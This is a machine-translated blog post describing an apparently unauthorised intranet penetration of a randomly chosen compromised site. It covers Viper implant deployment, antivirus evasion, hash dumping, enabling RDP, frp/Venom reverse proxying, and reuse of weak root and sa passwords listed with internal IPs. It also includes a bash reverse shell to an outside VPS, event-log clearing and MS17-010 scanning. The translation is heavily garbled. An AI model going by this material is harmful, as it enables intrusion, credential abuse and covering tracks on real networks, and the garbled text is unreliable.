当前位置:网站首页>Actual combat | multiple intranet penetration through Viper
Actual combat | multiple intranet penetration through Viper
2022-06-23 04:58:00 【ECHO::】
actual combat | Write down a loan Viper Multiple intranet penetration
immediately hw, These two days of idle famine , Do some practical work , --2022/6/21 19:05 ECHO::
Last time, we made a lot of attacks to prevent leakage web End 、 quite a lot ssh This and the content forwarded by the port ,, It's a big gap , Hundreds of them from me shell Pick a site at random , Start an intranet penetration . How did you get it shell, ad locum ,
https://blog.csdn.net/qq_29437513/article/details/122283851
0x01.Viper go online
viper Update to 1.5.22 了 , adopt Callback The callback function generates a kill free exe, Download local , Upload to the target machine

The ice scorpion performs

The target environment has 360, but viper It's still online

The old topic : How to bypass 360? How did you get online ?
- some 60, It's very difficult to execute orders , Various white list interceptions , At the same time, the window pops up , The most common net user,
Execute return reject , This situation 360 All functions are fully opened

2. The second case ,360 Not fully open , such as , The user has not logged in for a long time , lock , Not all of them 
0x02. Grab Hash
After the launch , Grab hash,viper Bring with you hashdump, But the process is needed x64, The default online process x86, Process migration ,, Select high permission conhost.exe 2345explor These processes ,( Try not to select the system process at the top , Injection is easy to restart )

Catch hash, Take it to decrypt ,Aa123456, Weak passwords are often used in this intranet ,mssql and rdp,ssh Commonly used (root admin123)

msf modular , Registry open 3389 post/windows/manage/enable_rdp
reg setval -k 'HKLM\System\CurrentControlSet\Control\Terminal Server' -v 'fDenyTSConnections' -d "1"
execute -H -f cmd.exe -a "/c sc config termservice start= disabled"
execute -H -f cmd.exe -a "/c sc stop termservice"
execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enable'"
Port value of the registry

netstat It is found that it has been listening , But the port scan did not find that the port is turned on , Come to the conclusion , This is an intranet machine , By mapping to exits ip On ,

0x03. Port forwarding
The Internet machine , Although there are webshell, But he is mapped to the exit ip On , Cannot forward proxy .
Can reverse proxy , The machine can access the Internet vps The port of , Turn the traffic to vps On port , stay vps Open a port for forwarding , Local pc Machine for intranet access .
What I have used here are frp and Venom
01.frp Agent for , What is commonly used is vps Listening port , Internet cafes 3389 Traffic forwarding to vps
02.Venom Agent for , and frp almost , Usually can cooperate with proxifer Traffic agents , Local Pc The client accesses the intranet application .
Local testing frp
The server only needs to configure bind_port , here vps To configure 22222,

webshell Terminal frpc.ini To configure , Forward traffic to vps Of 22222, Allow Internet access vps Of 6000 Port access 3389 service

Forward success ,

Log in with the decrypted administrator password

View the event manager , Clear the event , It's obvious that someone has been repeating fuzz The login password , Login at the same time without rdp Log in successfully through other methods, such as webshell Some will also record , process services.exe tomcat.exe
Found to have teamviewer

0x04. Intranet horizontal
The internal network has a horizontal domain to play domain control , No domain is connected to other devices in the intranet , See how many servers you can get , The purpose of this test is the intranet server , Intranet network equipment , camera 、 Safety equipment 、 The database is not taken into account
Judgment domain , No domain exists
net time /domain Time synchronization of domain control
net config workstation View the role of the host in the intranet
Horizontal I use port forwarding Venom, this tm It's the artifact , A steady group of .
Intranet asset scanning I use
https://github.com/1n7erface/RequestTemplate
scanning b Very complete ,, common ssh、redis and web scanning ,xray The kernel of , Hang up rdp Inside
some ssh
ssh 10.10.11.113 22 root admin123
ssh 10.10.11.110 22 root admin123
ssh 10.10.11.114 22 root admin123
10.10.30.83 1433 sa Aa123456
Venom Intranet penetration
1.webshell Carry out orders agent.exe rhost rport

2.vps End monitoring 1009,goto 1 To operate ,socks Agent out of the local PC adopt proxifer Proxy connection

Local PC adopt Proxifer Set up socks agent

Set proxy rules

Local PC-xshell Connecting to the intranet ssh,

Login successful , see history, There are obvious traces of development , There is no subsequent infiltration

nc rebound shell To vps, nudges ,
nc -lvp 6000
bash -i >& /dev/tcp/vpsip/6000 0>&1
Rebound success , Get shell

Only this and nothing more ,, Clean up the traces before leaving ,msf Batch scan ms17-010 Pick up a leak
msf Add route ,

There is a leak , But no subsequent infiltration

边栏推荐
猜你喜欢

Abnova PSMA bead solution

Precautions for running high-frequency and high-speed signal lines near PCB board - basic principles for high-frequency and high-speed signal design

Please use the NLTK Downloader to obtain the resource

使用Live Chat促进业务销售的惊人技巧

DSP7 环境

Shadertoy基础教学02、画笑脸

Cocos learning diary 2 - scripts and attributes

【图论】—— 二分图

ICer技能02makefile脚本自跑vcs仿真

How to solve multi-channel customer communication problems in independent stations? This cross-border e-commerce plug-in must be known!
随机推荐
AD9使用技巧拾遗
欢迎使用CSDN-markdown编辑器
Examples of corpus data processing cases (part of speech encoding, part of speech restoration)
Please use the NLTK Downloader to obtain the resource
Laravel 通过服务提供者来自定义分页样式
【论文阅读】Semi-Supervised Learning with Ladder Networks
Question bank and answers of 2022 hoisting machinery safety management examination
cadence中的焊盘和flash symbol
Kail infiltration basic literacy basic command
MySQL导入大文件(可以是百万级,也可以是百级)
WPF 基础控件之 TabControl样式
ICer技能02makefile脚本自跑vcs仿真
An understanding of free() (an error in C Primer Plus)
thinkphp6 模版替换
五年连续亏损42亿,蘑菇如何渡劫?
Openjudge noi 1.13 50: several
Usage of API interface test ------ post
Thinkphp6 solving jump problems
Pads and flash symbols in cadence
Abnova PSMA bead solution